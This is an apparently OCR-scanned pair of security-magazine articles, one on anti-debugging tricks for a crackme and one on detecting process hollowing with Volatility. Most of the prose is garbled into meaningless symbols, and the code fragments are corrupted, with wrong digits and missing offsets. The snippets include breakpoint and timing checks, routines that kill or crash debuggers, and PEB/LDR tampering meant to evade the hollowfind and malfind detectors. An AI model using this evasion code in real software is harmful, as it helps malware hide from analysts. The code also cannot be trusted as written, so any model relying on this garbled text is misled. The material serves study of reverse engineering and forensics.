. Ring 0 Kernels P .4 A
11 Thread v | x0T Y . L ] *Kemeb s ¥oxSo s osX o b JTiex JdX ST X
Lo FXods X s G 1 1x  x s r 1 ~QetTRreadCantextL = s« 4s. «
Fds Yo ql
—
55 Hstatic veid enforce_hardware_breakpoints()
56l |
57 CONTEXT context = {};
58 context.ContextFlags = CONTEXT i386;
59 small junk 3();
60 context.ContextFlags |= @x@@BOBR1BL; // = CONTEXT DEBUG REGISTERS
61 if (call_GetThreadContext{call GetCurrentThread(), &context))
62 {
63 small_junk_2();
B4 if (context.Dr® != 8 || context.Drl != @ || context.Dr2 != @ || context.Dr3 != @)
65 {
66 small junk_4();
67 exit(@);
63 1
69 1
700 | }
[breakpoint_detection.hl x ] _
S AT XL s BNIIXENDAYL K s ol T T dws ol x X x
1.1 1 L~MessageBoxs<4 « « X4 4 s 47 0 s oy x b .
.Breakpoint x *
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1 4« TH4x T ¢s o4 L, s o bxl

JdLrs 0 2 Xx ] .
P oA sl get_timing* * © 1~
, 1 Réad Time Stamp Counfedtsc1 v * _ , « s 1+ .
x 1, x "] xx N e BT
edx:eax | x Lo~ s "X, ].s s_ s ¢
. . _I”‘.~ ‘I" L ’IX“X X\.,,L
Jpopxpush = x % X .

X

. ¥ X q . . N

84~ ¢ timing.h « % X &5 X |

S

. Sx 11 1x"s - ¢
X" x x |s I ” X A s
.GetTickCount

SXa{XdtsSc S * X%, X SsS
17 1 1 A

rdtse™, x|

X ¥ 1 4Macro. 4 _ . ¢ SRR IR EUE B B B N N O
‘END_TIMING_CHEECETART_TIMING_CHECK

5  #define START TIMING CHECK UINT32 timel=-1;get timing(&timel); UINTI2 time2=-2;

5 #define RESTART_TIMING_CHECK get_timing(&timel); time2=-2;

7 #define END_TIMING_CHECK time2=-1;get timing(&time2); if (time2-timel >= 1) return;
B
9 Hstatic wvoid _ forceinline get_timing(UINT32 *variable)
1@ |{
11 small junk_4();
12 _asm
13 7
14 push eax
15 push edx
16 rdtsc
17 1
18 small junk_1();
19 _asm
28 7
21 mov eax, variable
22 mov [eax], edx
23 3
24 small _junk_2();
25 _asm
26 7
27 pop edx
28 pop eax
29 3
30 |}
[timing.hd x ] _
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L X Slsx
Py . O ox R N N 111 P1x 4 s o9 A s~ 47 1
P X Py X s X L.y x Ly 17 st ] 19444« 7™Y
Fd41 0 sting % _ 4 T x <k 4 f s ) Cidined X TWAZY L wmE 1 Bdzy 1 WH X
S
x x0T x4 o« " XNnlined ST xx ¥y WHZ I wyORYFdzaSyYmI f2dzyl w02y
1 x4 -string™1 1+"1____RegSetkeySecurity*xVirtualProtectEx x _ |
Fd LA xy e x> o0 s x gyl ff ety lymzZgaxi & f e
FS . ~o 1 5 X1 4+ X v w45 X
L sL pesdy mlindd_ s & + s _ X 14 1 AWedzy ] “USFsdzy i OWM-S 12xdzy’ 1:w T dzy
S T A
14 _ - I 1. 1 ol [ I Fl AL e XXy Lx
- s X X X , x X X ] , X v, X , X ]~ L C x
FAd ey Xxpys o XCs 470
AP xos o w1 X v ¥
213 [static void _ forceinline small_junk_4() || 76 Elstatic void _ forceinline junk_3()
214 7 1
215 ‘ asm 78 wstring a = wstring();
216 E 79 a.append({junk_var_4);
217 cmp eax, 1 :E :'I:.'F (a.find_first_of('a") != -1)
iig a: ne = 82 int b = junk_func_4();
28 test ebx, [ebp-12] :i junk_var_5 = junk_func_2((flocat)(b * a[e]));
221 je b 8s int b = 8;
222 push eax 86 for (unsigned int i=8;i<a.size();i++)
223 mov eax, [ebp-12] a7
224 pop eax 38 b+= a[i];
225 | b: 39 3
226 nop 98 BOOL divide = a.size() != @;
227 } 91 junk_func_3(divide ? b / a.size() : b,@, &b);
228 |} 92 |}
111 [Hlstatic void _ forceinline junk_confuse_2()
12 |{
113 wstring str = L"_CRT";
114 Sleep(l);
115 DWORD a[5];
116 for (int i=8;i<5;i++)
117
118 if (i %2 == @) a[e] = i;
119 1
12@ BOOL sucsess = HeapSetInformation((HANDLE)@x@72389C, HEAP_INFORMATION_ CLASS::HeapCompatibilityInformation, a, 28);
121 TCHAR buffer[256];
122 if (junk_var_3 == NULL) a[4] = @xleead;
123 GetComputeriame(buffer, a);
124 if (GetLastError() != @ || !sucsess)
125 {
126 junk_var_3 = (int)OpenThread(NULL, true, 1);
127 1
128 wstring str2 = buffer;
129 if (str2.find(str,@) != wstring::npos && str2.find(L"PC",8) == wstring::npos && str[2] == 'T")
13@
131 GetEnvironmentVariable(L"PATH", junk_var_4,256);
132 1
133 |}
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F .Yy X 4L s

1 x _kjll_common_debuggers s 1 « « 7 x s+ 1. « Mdssage® | s: « p x I 7 {]xxxi X

b v+ 1 X 'OLLYDBGEXE®'idag.exe" © X _ _ s . -Progessi 1L 5S4y A 1 1.
x 4.1 DX T x b, x % T T T N S - R
X-I:-IV\.
if (wstring(pEntry.szExeFile) == L"idaq.exe" || wstring(pEntry.szExeFile) == L"OLLYDBG.EXE")
1

HANDLE hProcess = OpenProcess(PROCESS TERMINATE, @, (DWORD) pEntry.th32ProcessID);
if (hProcess != NULL)

{
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
¥
1
[kill _debuggers.H x ] _
OLLYDBG " I X+~ «'s
Reversing - ” 10llyDbg* XA ¥ oo X Lo~ oL B N box X 10
L, L, lodt xs AH-exest ] XX 4" 0 TEX " 0y s x| L ws
s 7 ] X Ls ¥ X IPlay-s. {.1x 1 x]
x 1 =string v 4 x _4x_ _ 1x . T OWBbg rd 1 Tuox 17, XL x oyl X
QutputDebugString("%s%s%s"y ~ x « s _ 8 « {QuiputDebuyString - x X L ¥« X4
x 1 s{” kx s x TS Calbaek » " xx _,_ s& ] *x 1 . ©Debug i -~ ! *x
- X X . oL s L {11+ s
43 [Flstatic voild crash_ollyDbg()
4a | {
5@ char str[2 * 58 + 1];
51 for (int i=8;i<2*58;i+=2)
52 {
53 str[i] = '¥"; str[i+l] = 's';
54 1
55 str[2*se]=8;
56 OQutputDebugStringhistr);
57 |}
o Xs ] sOllyDbg* Wih32Application.exe - ~ 1 x + o s 77 o«
=== OltyDby, 32-bi analysing debugger & |

i7"09n OllyDbg, 32-bit analysing debugger
v

« V2% TNNO wonn Windows

pi s
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o § x xs s {I s %
s {7 x s , XL 1+, Oks SExes o T 1 1 x .
x 4 L~ PabswdrdVerifiexy x 11 1 < 1 €3deWindowOnBlttonPressed() ”
XOR © X « <X Tx, | ex X 7x s §os T P
x ¢ sS4 T x X sl 4 X . PasswordVerifiererify(y x § -~ X x 1 4sc 1]
1" X S 1L . S s . I x s ,s”xJ” S | S X s I A X
...l Keysox 4w (s 4 s
X X o 1 7 Anti Debuggig- * % ¥ 4 " Iphassword wverifier.cpp , * * « s Ll
(' x _ x timiny Thedksumbreakpoin)
XOR , x « X o 1) - PagswordVerifierVerify() 4 < XX _ X o X o~
S Pl Key ¢ 4 T x o dl Xy x 4" s 0 s s ]
s 4 s L DXTX T s e D XX X s
41 [Elvoid PasswordVerifier::Verify()
42 |{
43 UTNT16 key[] = {255, 255};
44 int keyLength = 2;
45 static UINTL1E expectedResult[] = {27142, 31178, 24553, 2523, 2599
45 enforce_nearby breakpoints(112);
47 junk_confuse_4();
43
49 for (unsigned int i = 8;1 < this-»encodedPassword.size();i++)
5@ {
51 START_TIMING_CHECK;
52 UINT1E word = this-»encodedPassword[i];
53 small_junk_1();
54 word *= word;
55 small junk 3();
56 EMD_TIMING_CHECK;
57 word "= this-»GetSequenceNumber(188 + i) % (int)(pow(2,18));
58 RESTART_TIMING_CHECK;
59 junk_confuse 2();
68 enforce_checksum();
61 word += 7@;
62 small_junk_4();
63 word /= 2; word "= key[i ¥ keyLength];
54 junk_2();
65 get_timing(&time2);
66 if (timel - time2 >= 1008800) word X= (Bx45 & word);
67 if (word != expectedResult[i]) return;
68 1
69 if (this-»encodedPassword.size() != 25) return;
78 junk_3(};
71
72 this-»0nSuccessRoutine(this-»encodedPassword);
73 this-»encodedPassword = wstring();
74 |}
[s . -||_v~s x| F|:x.|x,,s>] Y L o~
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inline 1« « 7 GetSedquenteNumber : o s 1 T x S X
X 1 Xo xTsx {4 f s T xoX ] ” x 7 Xy X,
" . 1« x { x s S« . X IS L s 1 X & 1 S L X X
I O I TR B B R S S (R IR SRR B I TR B BV IR
=X, o s . =] X s L O I . X S , v X1 {xxs F 1. XY L ~ -
ss ¢
1" x4 DL L s GEtSequeénceNUmber: <! x ~ s iy 1T
183 EIDWORD PasswordVerifier::GetSequenceNumber(int index)
184 |{
185 if (index == 8) return 1;
186 if (index == 1) return 2;
187 int numl = -1, num2 = -2, sum = @;
les for (int i=8;i<index;i+t)
109 {
118 if (i == @)
111 {
112 numl = num2 = 1;
113 sum += numl + num2;
114 i=2;
115 }
116 else
117 {
118 int next = numl + num2*2 + i ¥ numl;
119 int temp = num2;
128 num2 = next; numl = temp;
121 sum += next;
122 1
123 1
14 %+« . _ Reversibless{{s 4.__ xl Il 1, 1x 4 _x grxox ix %
I xy 4" X . ¢ S q S - X LY L ] ] * x X .S X I X
1 ' x1x 4 Mash function x _ | XYL s
Y 4 . 4, " WX s 4 Isx 9 s . X | ¥y L X i L L [ s . X
S 1 L . slsx si .
- h
Message - M
Congratulations!
You have successfully cracked this software.
e — .
[password_verifiercpg *x 1
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Foxol A
D4 .. s _yxlo 4l oxs  AntkDebugging ¥ _ . 4 _ % &S lxl {xx*  s¢
Yo 4 des s 4L x 1 x o4 0 s o« RevYetsingl F, s s ] x
CIAPL XX w4 o e d Y T AL XS T Xy DX .y
S e T I VR S B B 3 Ik N B P TR S IoR T I IR Lo
1x 9 i1 17« , oo S ! I T T R TR B U BT DR |
1 X S X1 .5 1) O T R S| x 1] x X L 1, 14
(P et i ]
v XS X q s I X s = { "

http://www.digitalwhisper.co.il/files/Zines/0x58/antdebuqggingsoftware.rar

(X S KT I L $ X s ST X AMtivirus I ¥ motvitus ) S L L 1.
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x {5 | xLx ] 4 x x ot S L I - 1
o I BN B T ixe Aol v s X g s cOx x4y
=sv L1 s ” s
IoxW” s

I x 1% s e X,y O I B R B B
FAc 4T X Fd7 A . , XX L sy L U I R y X X
s 7 | x s Lo s .| L 17" x 41 I x s =x . Y LJX~ S
A T ex ] 11 Iox 1, ¢l 2 aiaidd s oo d i
I x X I x q Lol X X s”x~ s ” s -|-|~x

R Shevs X S L S0 FL X X o1 X . {s X S w1 L X
L X .« X s I x o X 1oX . Lo s x4 x X SXuv, 47 X, dX"] s{ L Is _,xs "iXxe €
:X'I\-”“\. -||_x “ X o,

DLL Injection 1"

P01 4sx S s b4 4 X-PLL "piALL40ss"T L] DLIs Injestion sS4 4+ 74xs. 4 ]
foXxw_ s s pxis ] sq4s  oxS e ddfesX X Iyys Xy
( 'Patching/Hooking Reversing - x o x | LL o R 11 1] v s s« 17117

Al 4T LY s ixpx s o LT L xS

Anti Debugging v .+ 4«4 -1 DLL S s d  JIDAL AT A Y0 2T 4
(x| x APL X X f xHegking, L X « 4 X tox o X))

X 41% 4DHEE X 149 44+« <X, o DILinjeGtion: x &Ll ix "%
Loaders . x 7 x~ . DLUFT 1" _ v, ocIX sA4c<qd 41 x7T oL
T T N I T Tt T AV L I S SN TN =xXx ] 4. ¥

~ ~ ~ ~

oAl x T s e e x0T ] g

1" 1 . X < S I x . s X ¢ s s 1 1 x DR X ] % .o X { X s~-|l'|sx

I'x s TA(CS el e X xS 1 b ) s 7 X s . Xx 1 <191 .+ L ’
"s "s 3~Emu1afob » X ,_(x sy X ., | X s s " x ] S 1 X . L I x .
L k86-1 L * LS DX s Py X S
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;1 I x 741 1ARM xsyv,,\(xxsl ,_-|)v
;XXX 4 ss MIPSL X | 9x4€., J(x |

1 1sThemida + 1 b L x |

X
”

<
=

RN
1s1 4 xs

sp K dx s ox I H 1L

11 Ix17_s

L, 1S s X s« 1L« X 6@ 4x
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Stevanovic, MilanAdvanced C and C Compiligrkeley, CA: Apress, 2014. Print.
Portable Executable File Formak Reverse Engineer Vie@ode

Breakers Magazine. 2006

Soulami, Tariknside Windows Debuggin§ebastopol, CA: Microsoft, 2012. Print.
Eilam, Eldad, and Elliot J. Chikofékgversing: Secrets of Reverse Engineetimdjanapolis,
IN: Wiley, 2005. Print

YurichevDennis Reverse Engineering for Beginn@&16

Anti AntiDebuggingDigital Whisper Magazine. 2010

Mark Vincent Yasomhe Art of UnpackindBlack Hat. 2007

Tully, JoshuaAn AntiReverse Engineering Guiti€odeProject. 09 Nov. 2008. Web.
Pietre, Matt Peering Inside the PE: A Tour of the WiR82table Executable File Format
MSDN. 1994

X864 Virtual Memory Protection RingsWikipedia

Process Hollowinddigital Whisper Magazine. 2016

Process Hollowinglohn Leitch, AutoSec Tools. 2013
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Threadmap- Detecting Process Hollowing

TR oA ] L e

~

S Jd s
11 1 ©.201Q «f s (s Px I Stuxne) s « 41+ x  sRrocésd Hollowirigd s
, s A S oA T Al P o soxxo s ot e T xS
e s A A Lt e Al gy 3TV A0 A xSs s (7]
, 1 X s “ L0 S x s , x . X "L st ToLox 1A , S . =

FoY s L X r 10 1 s Anti-ForengicsAnti-Retvetse ? X w x L 4 x x4 1 4 F

LR I B B T O S R AE S ST S S IR B N

" x ., 1 4¢ Procelss Hollowing¥ x | . ! x < <. Cs 1 DX A4S w0
.X"LN:I'I«’\‘”WS

s ., 1 Y .S

, oo s o x Dxw x4 x o Dx 1 Précess Hollowinge ¢ xS« 4l "<IsT b~ T4

Process Hollowing. . " 1x _  s" s, < 1 cx 1440 Tx 1 q¢ e 4

cox 4y I x s A0l w0 PoCe L S X T e bk A ax o I x T

(=Zx\ Pl X S . 94« ] | 19+ Ly, S$Xs  JxsX ) BSOS

s s | VX x”v .

~x ., 11 ¢ Proces$ Hollowihgy >  _ boxoo S w . Us .o L S, 1.1 ¥

XS S UL P 4L LS A Se Lo x T 15 Is Lo gt X s 1§ Xy 4"

The) + 4~ . 174" 4<% I x.,x< X 4] ___ _*xPioeessHoHowidgis xs « { " |
x4 11 D«  Digital "Whispér 1L _77-s» 1~ x 1 o 1 Art of Meméry Forensi¢s

Process Hollowing . _ _ vl 1+ 1x.”x1 " « Prdcesd Hollowirig® * x _ . = x " x x| 7 x , | {

X T s {14 s < ¥Y4q4." T

~ ~ 1 < v
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~ > -Process Hollowing

XXy A X s 4 o x 0 X, X | Process Hollowiagx ": w4 7171
I T T S T A N R R T A B J
c1* ) Aduesis e o0 A4 o x X x4 T x b Gs s s
ix s b ot AL A A Y s e x I X TS IO s b (s ]S
2 0x b Micrgsoft . se ly x () f Ao diAYy A4l s 4 T s s x L4, )0
sxx X {T"xlg L
A4 4, s v Ayl sy i % . 4 Process Hoflowing*t | LT T
Windows~ , . * sl 4 <X x.,. X xs < 1TKs IHBAIPEB 4SSV xICN
- . X X ¥Proeess Hollawindg. . ¢ 1 L _ s L | %Internals‘é‘editi‘oﬁpar’tl , oo
The Art of Memory Forensics
Main thread-s Fo CXWwindows §ystem32Isass.exe : s _ ¥ x | ) 14141y ¢ 14008
Lo LS *{ PEB s X ¥ {ImagePatiName , X ¢ s box o7x .S 4 4s
1 _ dlshsk.exe
X« Tx,lq4cs o 4s ] Y ox o ixds x| 42s ¢ x
LS A
117 xx s T oxdx] {{\sx ... 1isdsd.exe L ImageBaseAddress - v 3s
© 4 Handles | | StdcksHeaps® -DLL 1 4 1 - »x ™4« T Ix D (4. J4dLs s
FAd A s o8 XX v , 1
eXxs s oxs T x,|shskexeL _ 41X k44 TdxI kI {Axy | {x A
s L 1 Xx i ]s s x READWRITE_BXEQUTES { % s X (8 X KW ] » 8¢ 4., o
s 11 ¢ XImageBdaseAddress
lsassexe d x 1 x 1 1s s x s " x, PEMeaderd x i  $3Bx ! 8s |4
Isass.exe I x s> v s | 4L «x 1. 4x 7 x.Sgctionst x * I 1+« 41TxHTs s Fx§s
L. s 47 0s x| (SMhiATFhreaes X _ *suTisxs IS FN | 5
(. x4 _ ] x o, X" 1" X X7 o, Os X X o« I :
-S |sass.exe . S L X L4 1+ _ Thréads! ¢s_ 1s{ BB s ,

Isass.exa 1% PEB"™ 4 {"1* _ImagePatifName

! PER; Process Environment Block
% |BAC Image Base Address

*DLL¢ Dynamic Link Library

4 PEc Portable Executable
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X . X ” { x s 4 ¢
x5 O L I x7 o T R Cx X v ] R N T A
Lostrings* v 44 x 0 APITHX & X7 xD x "ProcessiHolowing  f ~ 1 " 11 .
Windows* ¢ 47 x 47 ], Tox o, JOX s ] X8 I ] XD X
1 -Process Hollowing * , L1l R X w . Oy Volatility ¢ - A dslw X0 .~ ¥
“Ptocess Hollowing: ~ 1 « _ . x4 .« 5 4
Sedw S X4 L X S X ST s PPADRS T S A
.~ L « s « X X S LOX .

3 B : .~ PAGE_EXECUTE_READWRITR.+., s xs 4y x
14108+ ADBs _ "PEB1 - +_.lmajeBaseAddress ~ 1 * 2. x x s

.File Object + VAD . ~ _ 1 *ImageBastAddrdss .-
1 1BAs, x {VABR*_ * x . |s * PEB’s

°

TN T XX d ¥ Xs .o XX s

VAD* +~ . _ " s C°IDRLists TT{{**L 8. x x _s

X . X 75 1 x s 4 ¢ s X
"PoGs  d L s._ " 4s L Proces§Hollowing, « 1t x”Tir<s v d_ 44« 4T AY
S Y I I R Lo~ 11 T A4 0 AT s kI s wis X XY 4] X
Kernel @ x « . s x 1 o x7"
VAD* LoX oL ., S S { x "
VADS DX, XX s 1 » VADS -~ =’Z,4\XLZJXVADX,,SSX\=‘S 7S DXw 808
FY O OVAD) x " 14 MirtualProtect, ~ 494 . " x 0 € X s oy xi b )X
The Art of Memory Forensics | | * ~ « X .
s ¢ x X =JV P R - ~ s ., s s . 4, x sy S5 % ] x s .
L L ] S X4 D I XVADSLe  me ] S, aXXGS 8% X X -
s S ,oSX b ¥ X {9 «

®VAD- Virtual Address Descriptor

14 s % (DHEE x {1¥ . + {PEB LDRIDATA, PEB* « . _"s
© X \GitHuB*_ 1« 1 x . Process Hollowipd _ *

FA X IDRS o L X
https://github.com/m0On0Oph1/Proces#iollowing

4 4% 1354 ¥ Proof Of ConceptPoC’

cord ax o x 1w o ] v APOG L e X L, mOAOPhEL] X AR A L f 1 TR X s X s T 4 L
.:valsxx 1“«{)(,,)" {7 x ¢ ,.X\,'I,. L L DX 4.1 R " ”
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Process: svchost.exe Pid: 2640 Address: 0x430000
vVvad Tag: vadS Protection: PAGE_EXECUTE_READWRITE
\F]ags: CommitCharge: 14, MemCommit: 1, PrivateMemory: 1, Protection:

4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00
b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 OO 00 00 00
00 00 00 00 00 00 00 OO 00 OO0 OO0 OO e8 00 00

[8KSLSampIe.vmem Volatility-* malfind ¢ . 1 ¢, 1 X4 T

VAD* - ox 7ox DX 110w o X e il Ty
MZ- magic number X « « PEHS s4 "% s (X< oo STA 1 X

PAGE_EXECUTE_READWRITE * "VADs | . . xS _ . ss
File Object ~ !~ 4s “4*. [ "x 1 s q.s  Xxq

x w {1 xs -« ProfeSssHollewing | = x © 2640sPI>>  ,Svchostexe {1 1 L s - s
FdoXL LUx 4L T XL ] SVADSL L S <l Xws s, sises oxpfalfindb T4 D X() L -

|_~V|_‘),,s,s:x\~,,s v L L _|q|_s><2'|s,,v|_~_|x2xxx=:xJ,,1I|.|C Lo
. ( x " PoGY PAGE_READWRITE
S .w X s =x ., ] ¢Xx ﬂxx“s Lo
S .. Xx s =x ., ] Cs ><'|,,v>< ™. -8 Zx,,‘
« » O X s Ix‘q] Lo s ., S

PVOID pRemotelmage = VirtualAllocEx (
pProcessinfo - >hProcess ,
pPEB- >ImageBa seAddress ,
pSourceHeaders - >OptionalHeader . SizeOflmage |,
MEM_COMMIT MEM_RESERVE
PAGE_READWRITE

)i

DWORD old = ;

VirtualProtectEx (
pProcessinfo - >hProcess ,
pRemotelmage ,
pSourceHeaders - >OptionalHeader . SizeOflmage
PAGE_EXECUTE_READWRITE

&old
)
, x ¢ o _ProcessHolléwing.exe. . ~ x « _ s L x o ox 7 DX X D8 o
.malfind, _3: s . x7 T s
L.+ BlAw ss L IMeory Dumps .~ |~ _ s Windows 7 84bitlLsMemory Dump- KSLSample.vman

x ¥yl s Process Hollowingx 1" _ * 1 svchostsexer
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_s N s .ox X X X 11 s i malfiad x

¥ oXxd k748X, 1.0 X

SR B ~_1Tios o o x "1 s 4 2784-PID.+(, . ~Ix1ProeesssHpllowihg ¢ s XX

FA AT A o x T ox e x4 x 14 v A
VADLPEBs ~ {* s . xXx s
DX xcaleex@( T x> 1. 0L kX A4 1T s b s X XIIBAS 11 Ls s
- x ¢ 4 «IBAS  Wifdows . _ S ., S S 1. _* s..,ss 14 s Y
File rVAD* s>*xy . x¢s " x, ] {60s {1 c¢alcexes x, d . x*ss x, |lA

Image File s WADIType _ . x " *1 . > x DOBject 1 _

S <.s. I Précess Hollowihgg, « * + _ _ ¥~ * mlxf{s L L,x .« s
ix 4 _ ProcessHallowind. . -3 >4 * 4 () “x.14¢s . x (7T x 1
Process 1 _ Mg X)X Tsx x| | Sxsy . X BABCTL 4 X " x 17 x1 ¢s I x
- X ¢ 1 s 1 x JFile Objécs « WAD 4.:. xs” 4 1 s+ . x| x Hglldwing * s X x ¥y |
v x4 b ohellowfind ~ox s x4 b xs DT T4 00 v x0T

File Object* s * X YVADi~ 11 IBA LS. s _~:iss .  x]

Hollowed Process Information:
Process: svchost.exe PID: 2784
Parent Process: ProcessHollowi PPID: 2088
Creation Time: 2017-09-12 13:29:31 UTC+0000
Process Base Name(PEB): svchost.exe
Command Line(PEB): svchost
Hollow Type: No VAD Entry For Process Executable

PEB Comparison:

Base Address(VAD): 0xO
Process Path(VAD): NA
vad Protection: NA

vad Tag: NA

Base Address(PEB): 0x430000

Process Path(PEB): C:\Windows\Syswow64\svchost.exe
Memory Protection: PAGE_READWRITE

Memory Tag: VadsS

4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00
b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 OO 00 00 f8 00 00 00

[KSLSample.vmem volatility-* hollowfind 1 v | s o+ 1-2 X 4 T

' x «s s Y| s *x2784"PID{ 4 1 . shallavdind s.) _

1L s 1;2‘s’s>yv12\

>

IBAS . Txx 4K _11 sSs ]{sHoHowfihdd mafinc « ~1H¢ S8 1415 _

~ ~

SWYWADS L. X .S " iFile* ©hject + ¥s * T ¥ JVADLL _ . 1% .

1< L |BAS, 1 % YRAGE_EXECUTE_READWRITE ” X _
o1 L 7] Hile Object + | 1408 s TX L 1A S LT e L x O e XD Xy

~

x 1 _ T AMain Threadt _ ~ & ¥ . *

~ ~

“xx{ ]

~

~

“PAGE_READWRITE

14 UBAS s - v - 81 {p %

Threadmap Detecting Process Hollowing
www.DigitalWhisper.co.il

102

2017 -~ * _&BX T x { L ¥



B Technoloqgic o

« VPER ( < uUBAY) 4SS BAS. IX S FXT L p 4 x 4 x717.  sq”
x ' X x p ] XX b Hw DX 44 x " { UsekmodeL T X Xk { X x 7
(X ddAd s Tx L 148 s xS L p A x4

LONG_PTR Idr_addr ;
PPEB_LDR_DATA Idr_data ;
PLDR_MODULE LdMod
DWORD bad_address ;

__asmmoveax , fs | ] /lgetthe PEB ADDR - 32 bit
__asmadd eax ,
__asmmov eax , [eax] //getlLoaderData ADDR
__asmmov ldr_addr , eax
Idr_data = (PPEB_LDR_DATAIdr_addr ;
LdMod = ( PLDR_MODULHdr_data - >InLoadOrderModuleList . Flink - >Flink ;
/I get the second dll that is load ed
bad _address = (DWORD LdMod->BaseAddress ;
__asmmoveax , gs ] //'using the GS register to get to the peb
__asmadd eax , Il get the image base address

__asmmov edx , bad_address
__asmmov|[eax], edx //change IBA

s 1 1] _ s -mLoddOrdetModuleListLDRs ¢ x4 s ] X' ooxs

~ ~ ~

x " 4" 4 ¢ DLk 4 TPRointed( . 41X« _S T~ (Tx. ] 4ADLESF S ST A
DLL X @ X « (IBASY X «td_ 4~ s o«

N

11 malfsfind = 1 1 hollowfing_ ,+ 1 4 X % 1 .« 45 (4 x50 ol X 4" s

X T DX . v X L

~

Process: svchost.exe Pid: 2220 Ppid: 2696

Address: 0x77490000 Protection: PAGE_EXECUTE_WRITECOPY
Initially mapped file object: c:\windows\syswow64\svchost.exe
Currently mapped file object: \Windows\Syswowe4\ntdl1.d1]1

4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00
b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 OO 00 00 00 00 00 OO
00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00

[KSLSample.vmem. Volatility-* malfofind « . 1., 94-3 X 4 T
x4 ms T4 D x . rhalfofind x41" 0 _14x2220 PID ¥ ¥"d 43 ss x4
=S FY «~ 1 s FodoL XIBAS X "o ™ ”x\“,s)s> xx=v-|-|vL><\LZ X 4] . X e~ S X X .S

ProcessParametets ~ . _ s * { : inalfofind- ntdildll_~ x s s X .ss DLk x 7 47 4

-s X xoosy L .S X 41" UsetmodeX S X PEB X (SsTd4i~XpE F¥x)”
IBAs 1 * .VADS* fikile Object
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hage Filg s . ~ s X x . 4 x

1. x < s X X s

. . ~ e Coxo L « 4 s PRS0 X8 "=~.|><,_ {s]w A L
JAAIBAS T« x0T ] . 1«0 Xx |4 .swchostexe X "TX . F4Ss XY
14 s s 1Tsx "mlox 4 A S O I

~ ~

hFile = CreateFile ("C: \\Windows\\ SysWOW®6¥\ svchost.exe"
FILE_SHARE_READ NULL OPEN_EXISTING 0, NULL;

hMap = CreateFileMapping  (hFile , NULL PAGE_READONLYO, 0,
LPVOID dw;

dw = MapViewOfFile (hMap, FILE_MAP_READ 0, 0, 0); //map the svchost file
VirtualLock  (dw, sizeof (&dw)); // make sure that it won't be paged

, GENERIC_READ

NULL);

LONG_PTR Idr_addr ;
PPEB_LDR_DATA |dr_data
PLDR_MODULE LdMog
DWORD bad_address = ( DWORD) dw;,

3

__asmmoveax , gs:| ] // using the GS register to get to the peb
__asmadd eax , /I get the image base address
__asmmov edx , bad_address

__asmmov|[eax], edx // change IBA

- % + 1 MapViewOfFile CreateFileMapping - ~ ¢ * GRS R , o

X X S

. - chxyx  Tx o, 14 s+« File Objebtt  s1xx ¥ VAD_ +s 4 s 7 x
File Object + WVAD s ~ . " s ¢ s, X)) x" s " x ., ] {6s

AN r”

. X € {1+ L X

(1

1xs{C L 4y 4 x_ 1 s{s”x

= hotlowfind*x malfofind, malfind_ 14X X oL 18 B kX3 .os 1«

Process

2828 svchost.exe 0x0000000076380000 False False False \Windows\Syswow64\user32.d11
2828 svchost.exe 0x00000000000f0000 False False False \Windows\Syswow64\svchost.exe

[svchost.exe PID: 2828 {1 . s KSLSample.vmemVolatility-* Idrmodules

11440 S K

t 1] PEBSX s x L ILDRs "LDRs ¢+ | S . « X 1 7 [ x 7 X 447
ldcs i T DB 1 11 1~ 1 XInLoadOrderMaoduleList
* 1 oap ADfLEs (o x X x ] 741X ) ¢ X-«InMemopfyOrderModuléList' * |, s _ A
1 4L s s L. o Xx.14¢€
r 17 x-Dlks  DLLMairs - « -~ s 1 L+ :-ininitializationOrderModuleList

Deov Ao b o Mains S J AL e® X DU E K v L ddLs X

b.-DLES L

Threadmap Detecting Process Hollowing
www.DigitalWhisper.co.il

104 2017 ~ * _ 88X T x { L ¥




cd T Ae s X S .., 58S X 08 "% DL X % ) -
<4 x4 v o xs . S , X .InLdaflQrderModuleList ~ x _ « . s
s "X 1~ I BDLLMainx: 4 4+ xs"xx [nInitializationOrdérModuleList

File ++rADS < «Xxs {" ) |4 slmageFiles "Xl 1:{{dimoduldg” x 1 s

- X .14 g1 x 7 Lo 11,1 S S + ~MZ .magic_+1Qbject FoeoX s s
Tl P XLIDRS e, x4 _ . o~ d4s  sx 4 s I x gdvchestexe | ¢ 1+
1 <s  ldrmodules 1", 1L, st ox .« o x 1 7sywchostex€ 1 AN US x4 s

v XS Ix o
hFile = CreateFile ("C: \\Windows\\ SysWOW&6¥\ svchost.exe"

GENERIC_READFILE_SHARE_READ NULL, OPEN_EXISTING 0, NULD);

hMap = CreateFileMapping  (hFile , NULL PAGE_READONLY), O, NULD);
LPVOID dw;

dw = MapViewOfFile (hMap, FILE_MAP_READ O, O, 0); //map the svchost file
VirtualLock  (dw, sizeof (&dw)); // make sure that it won't be paged

LONG_PTR Idr_addr ;
PPEB_LDR_DATA Ildr_data ;
PLDR_MODULE LdMod

DWORD bad_address = ( DWORD) dw;

__asmmoveax , gs:| ] /I using the GS register to get to the peb
__asmadd eax , /I get the image base address

__asmmov edx , bad_address

__asmmov|[eax], edx // change IBA

__asmmoveax , gs:| ] // using the GS register to get to the peb
__asmadd eax , /I get the LDR

__asmmoveax , [eax]

__asmadd eax , /I get the InLoad list

__asmmov eax ,[ eax]

__asmadd eax , /I go to where old svchost address was

__asmmov edx , bad_address
__asmmov|[eax], edx // overwrite itwith the bad address

s+ s s« . x Idhmodules 1« x4 7 T ]

Process

svchost. 0x0000000076380000 False False False \Windows\Syswow64\user32.dl1

svchost. 0x00000000000f0000 True False True \Windows\Syswow64\svchost.exe

svchost. 0x0000000076a30000 False False False \Windows\Syswow64\sechost.dll

[PID 2460 ,svchost.exd {1 . s : KSLSamplevmemVolatility-* Idrmodules « _  {1x5: sf T]x |

" 1%L svchbsflexe s x _VADS 1T 4% s« s 1 4 {5 sx™x_ ]I X 1x .,
DLL + 1 _hdlldwdind-x malfofind, malfind, 1 x * 14 4+ S ? SLDRLiS&” * ..« s X .s's
=S v 1S s X4 s el DL 4 U H s kA X T R A R T o F,ox

